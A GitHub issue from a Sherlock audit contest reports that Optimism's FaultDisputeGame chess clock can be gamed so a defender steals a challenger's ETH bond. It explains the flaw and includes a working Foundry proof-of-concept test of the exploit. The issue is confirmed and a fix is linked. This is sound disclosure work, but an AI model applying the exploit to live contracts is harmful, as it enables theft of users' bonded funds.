Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

0xDjango - Chess Clock can be gamed, leading to theft of ETH bonds #208

Closed
sherlock-admin4 opened this issue Apr 4, 2024 · 1 comment
Closed
Labels
Non-Reward This issue will not receive a payout Sponsor Confirmed The sponsor acknowledged this issue is valid Will Fix The sponsor confirmed this issue will be fixed

Comments

@sherlock-admin4
Copy link

sherlock-admin4 commented Apr 4, 2024

0xDjango

high

Chess Clock can be gamed, leading to theft of ETH bonds

Summary

A user is able to defend any claim by gaming the chess clock mechanism. For the scope of this submission, this results in a user being able to steal the ETH bond of any attack, even if it is valid.

Vulnerability Detail

Assume the following simple claim tree:

           A
         B 
       C 

Alice is the defender who has created the game and submitted the root claim, A. Bob is the challenger who correctly demonstrates that the root claim is invalid, B. Alice attacks B with C.

Because of how the game clock mechanism works, Alice can ALWAYS win this scenario and steal Bob's bond from B.

For simplicity, imagine Bob submits his valid claim immediately after the game starts. Alice now has GAME_DURATION / 2 seconds to make her move. Assume GAME_DURATION = 7 days.

Alice waits exactly 3 days 12 hours and attacks Bob's claim B with claim C. 1 second later, she can now immediately resolve claim C to receive her bond back, resolve claim B which she challenged and will resolve in her favor, and resolve the root claim in her favor.

In all instances, the attacker will want to wait until the last second of the chess clock and then attack, at which time they can resolve immediately.

This vulnerability arises because the chess clock doesn't check each side's (defender/challenger) clock correctly upon resolution. During each move, the clock accurately assesses if the party has time on their clock by adding the grandfather move duration and the difference between block.timestamp and the parent duration. In simple terms, how much time has the current side that is calling move used from their clock?

However, during resolution, the parent claim's clock timestamp is simply checked against block.timestamp which doesn't accurately assess how much time the other party actually used up. It simply checks that 3 days 12 hours has passed since that move.

        ClaimData storage parent = claimData[_claimIndex];


        // INVARIANT: Cannot resolve a subgame unless the clock of its root has expired
        uint64 parentClockDuration = parent.clock.duration().raw();
        uint64 timeSinceParentMove = uint64(block.timestamp) - parent.clock.timestamp().raw();
        if (parentClockDuration + timeSinceParentMove <= GAME_DURATION.raw() >> 1) {
            revert ClockNotExpired();
        }

Impact

  • Theft of ETH Bonds due to gaming of challenge system
  • Ability to resolve all root claims in defender's favor

Code Snippet

https://github.com/sherlock-audit/2024-02-optimism-2024/blob/main/optimism/packages/contracts-bedrock/src/dispute/FaultDisputeGame.sol#L409-L416

Tool used

Manual Review

Recommendation

The chess clock needs to check that the party of the claim to be resolved has used their time, otherwise any opposing party can wait out the duration while it is their turn, submit a move at the last moment, and then resolve the parent claim.

Scope validity

The contest handbook states:

However, please note that the game resolution logic within the FaultDisputeGame is not in scope for this contest. We have chosen to have these components reviewed separately given the complexity of the game resolution logic and its dependencies (including MIPS.sol and others). Although reports about incorrect resolution are appreciated, they will not be considered valid reports for this contest. Participants should assume that the games can resolve incorrectly and should confirm that key invariants hold nonetheless.

Top-Level Invariants

Invariants listed below are the critical, high-level goals that should be satisfied by the contracts that are in scope of this contest. Always keep these invariants in mind.

FaultDisputeGame

  • Participants must be able to withdraw a credit denominated in ETH exactly equal to but not greater than the credit amount that would be distributed to that user by a fully correct resolution of the FaultDisputeGame.

This submission does not describe incorrect game resolution. Instead it demonstrates how the key invariant that users are not able to withdraw the correct amount of ETH is broken. This is in-scope based on the last line of the Scope section: "Participants should assume that the games can resolve incorrectly and should confirm that key invariants hold nonetheless."

POC

This POC demonstrates:

  • Bob attacks root claim immediately
  • Alice waits for 3 days 12 seconds and attacks Bob's claim
  • Alice waits 1 second and then resolves all claims in her favor
  • Alice withdraws all of bond value
function test_waitUntilLastMinute_succeeds() public {
    address alice = address(0xa11ce);
    address bob = address(0xb0b);
    vm.deal(alice, 100 ether);
    vm.deal(bob, 100 ether);

    // @audit bob attacks root claim
    vm.prank(bob);
    uint256 totalBonds;
    totalBonds += _getRequiredBond(0);
    gameProxy.attack{value: _getRequiredBond(0)}(0, _dummyClaim());

    // @audit Alice strategically waits exactly 3 days + 12 hours before defending
    vm.startPrank(alice);
    vm.warp(block.timestamp + 3 days + 12 hours);
    totalBonds += _getRequiredBond(1);
    gameProxy.defend{value: _getRequiredBond(1)}(1, _dummyClaim());
    (, , , , , , Clock clock) = gameProxy.claimData(2);
    assertEq(
      clock.raw(),
      LibClock
        .wrap(
          Duration.wrap(3 days + 12 hours),
          Timestamp.wrap(uint64(block.timestamp))
        )
        .raw()
    );

    // @audit Alice immediately sends a follow-up transaction to resolve the claims only 1 second later
    vm.warp(block.timestamp + 1 seconds);
    gameProxy.resolveClaim(2);
    gameProxy.resolveClaim(1);
    vm.stopPrank();

    // @audit Resolve the root claim (unnecessary step for this POC but helps to show how Alice has won)
    gameProxy.resolveClaim(0);
    assertEq(uint8(gameProxy.resolve()), uint8(GameStatus.DEFENDER_WINS));

    // Wait for the withdrawal delay.
    vm.warp(block.timestamp + delayedWeth.delay() + 1 seconds);

    uint256 aliceStartingBalance = alice.balance;
    vm.prank(alice);
    gameProxy.claimCredit(alice);
    uint256 aliceEndingBalance = alice.balance;

    // Ensure that bonds were paid out correctly.
    // @audit - Alice holds all the bond value in ETH.
    assertEq(aliceEndingBalance - aliceStartingBalance, totalBonds);
    assertEq(address(gameProxy).balance, 0);
    assertEq(delayedWeth.balanceOf(address(gameProxy)), 0);

    // @audit Alice also wins the entire game, but not worried about that for this contest. This POC shows how actors can game the system to steal WETH
    // ...simply by waiting the entire duration of their own turn.
  }

Duplicate of #144

@github-actions github-actions bot added High A valid High severity issue Duplicate A valid issue that is a duplicate of an issue with `Has Duplicates` label labels Apr 11, 2024
@sherlock-admin2 sherlock-admin2 added Sponsor Confirmed The sponsor acknowledged this issue is valid Will Fix The sponsor confirmed this issue will be fixed labels Apr 11, 2024
@nevillehuang nevillehuang removed the High A valid High severity issue label Apr 17, 2024
@sherlock-admin3 sherlock-admin3 changed the title Precise Iris Shell - Chess Clock can be gamed, leading to theft of ETH bonds 0xDjango - Chess Clock can be gamed, leading to theft of ETH bonds Apr 23, 2024
@sherlock-admin3 sherlock-admin3 added Non-Reward This issue will not receive a payout and removed Duplicate A valid issue that is a duplicate of an issue with `Has Duplicates` label labels Apr 23, 2024
@sherlock-admin2
Copy link
Contributor

The protocol team fixed this issue in the following PRs/commits:
ethereum-optimism/optimism#10148

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Non-Reward This issue will not receive a payout Sponsor Confirmed The sponsor acknowledged this issue is valid Will Fix The sponsor confirmed this issue will be fixed
Projects
None yet
Development

No branches or pull requests

4 participants